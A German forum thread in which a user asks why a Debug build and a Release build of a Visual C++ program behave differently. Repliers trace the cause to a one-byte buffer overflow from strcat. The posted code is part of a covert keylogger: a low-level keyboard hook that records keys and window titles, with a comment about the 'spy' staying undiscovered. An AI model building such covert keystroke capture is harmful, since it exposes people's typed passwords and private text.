Sehr bemerkenswerter Fehler! (Nur für Profis)



  • Hallo Leute, ich habe ein ernstes Problem mit dem Visual C++ .NET 2003
    Wenn ich den folgenden Code in der Debug - Konfiguration kompilliere, klappt alles bestens. Tue ich dies jedoch in der Release - Konfiguration, da sieht die Sache schon ganz anders aus. Und zwar ist dann die Bedingung

    (hWndAct != GetForegroundWindow() && lenSeq) || ((lenSeq+lenKey+1) >= 262144)
    

    plötzlich true, wenn der Benutzer die Enter - Taste drückt, was in der Debug - Kompillierung nicht der Fall ist.
    Ich habe schnell festgestellt, dass man das Problem lösen kann, wenn ich die beiden Variablen

    // get the length of the sequence and the current key
    DWORD lenSeq = (DWORD)strlen(seqKey);
    WORD  lenKey = (WORD)strlen(strKey);
    

    als static deklariere:

    // get the length of the sequence and the current key
    static DWORD lenSeq = (DWORD)strlen(seqKey);
    static WORD  lenKey = (WORD)strlen(strKey);
    

    Nun funktioniert alles bestens!

    Ich habe zuerst gedacht, dass der Kompiler da erwas wegoptimiert, doch ich habe zu Testzwecken die Optimierung auch in der Release - Konfiguration ausgeschaltet, was keinerlei Einfluss auf dieses Phänomen hatte.

    Auszug aus dem Originial - Sourcecode

    // ******************* global callback - function for the KEYBOARD_LL - hook ******************
    // --------------------------------------------------------------------------------------------
    long __stdcall HookKeyProc(int nCode,WPARAM wParam,LPARAM lParam){
     // check if the spy can do his work without getting discovered
     if(nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)){
      // declare and init static variables
      static HWND hWndAct        = GetForegroundWindow(); // the current foreground - window
      static char seqKey[262144] = {0};                   // a sequence of keys
      static char strKey[8]      = {0};                   // a single key
    
      // get information about the pushed key
      KBDLLHOOKSTRUCT* pInfo = (KBDLLHOOKSTRUCT*)lParam;
    
      // get the name of the pushed key and concatenate a ',' behind
      GetKeyNameText(1+(pInfo->scanCode << 16)+(pInfo->flags << 24),strKey,8);
      strcat(strKey,",");
    
      // get the length of the sequence and the current key
      DWORD lenSeq = (DWORD)strlen(seqKey);
      WORD  lenKey = (WORD)strlen(strKey);
    
      // check if the forground - window has changed or if he buffer is overflowing
      if((hWndAct != GetForegroundWindow() && lenSeq) || ((lenSeq+lenKey+1) >= 262144)){
       // get the caption of the current window if possible or fill the buffer by a default - value
       char strWnd[256] = {0};
       if(IsWindow(hWndAct)) GetWindowText(hWndAct,strWnd,256);
       else strcpy(strWnd,"unbekannt");
    

    Vielleicht hat ja jemand von euch eine Idee, woran das eventuell liegen könnte, ich bin mal zuversichtlich 🙂

    Gruss Ishildur

    P.S.
    Vielleicht fragt sich der Eine oder Andere, wieso ich denn diese beiden Variablen nicht einfach als static deklariere, wenns dann ja funktioniert?
    Die Antwort ist sehr einfach. Wenn es hier Probleme auf Grund einer technischen Besonderheit oder Ausname gibt, mit der ich nicht Vertraut bin, dann habe ich ein sehr flaues Gefühl im Magen und will nicht wissen, wann und wo ich wieder in eine solche Situation komme... 🙄



  • static char strKey[8]      = {0};                   // a single key
    
    GetKeyNameText(1+(pInfo->scanCode << 16)+(pInfo->flags << 24),strKey,8);
    strcat(strKey,",");
    

    was wenn strlen(strKey) == 7 ??

    strcat(strKey,",");
    No overflow checking is performed when strings are copied or appended



  • warum castest du die rückgabe von strlen?



  • Wie es vdittrich schon sagt, kann es zu einem Bufferüberlauf kommen, weil strKey leider um ein Byte zu klein ist (oder weil du GetKeyNameText gestattest ein Byte zu viel zu verwenden). Im Debugmode ist der gesamte nicht verwendete Speicher, also auch die Bytes hinter strKey, mit 0 initialisiert, daher gibt strlen(strKey) keine riesiegen Werte zurück. Im Releasemode kommen im Speicher hinter strKey keine Nullen und strlen zählt dann bis irgendwann eine kommt. Mit static wird die Variable auch im Releasemode an einem Ort gespeichert an dem schon früher eine Null kommt.
    [edit]Ich wollte noch sagen, dass Enter könnte zu "Eingabe" übersetzt werden könnte, was dann genau ein Byte zu lang wäre.[/edit]
    Ich garantiere dir nicht, das es so richtig ist, klingt aber logisch.

    Übrigens halte ich es für äußerst unwahrscheinlich, dass hier jemand bei so banalen Dingen einen Compilerfehler findet. Der Compiler würde doch eher gar nicht fertig compilieren (also abstürtzen oder in eine Endlosschleife hängen bleiben), anstatt falschen Code zu generieren (hoff ich wenigstens).



  • Noch ein kurzer zusatzt warum es funktioniert wenn du ein static for lenSeq und lenKey setzt:
    die beiden werte werde dann mit 99%iger sicherheit gleich hinter, oder ziehmlich nahe bei, strKey alloziert, was für den release modus bedeutet, du hast hinter strKey nich nen speicherblock voll mit 0xcd sonder den wert vom lenSeq stehen, in dem ein 0x00 byte vorkommt, sollte der wert kleiner als 16777215 sein. Was hier also passiert ist, dass das 0x00 byte in lenSeq die folgen des bufferoverflows der druch strcat entsteht so weit abschwächt, dass du nicht im if-block landest.


Anmelden zum Antworten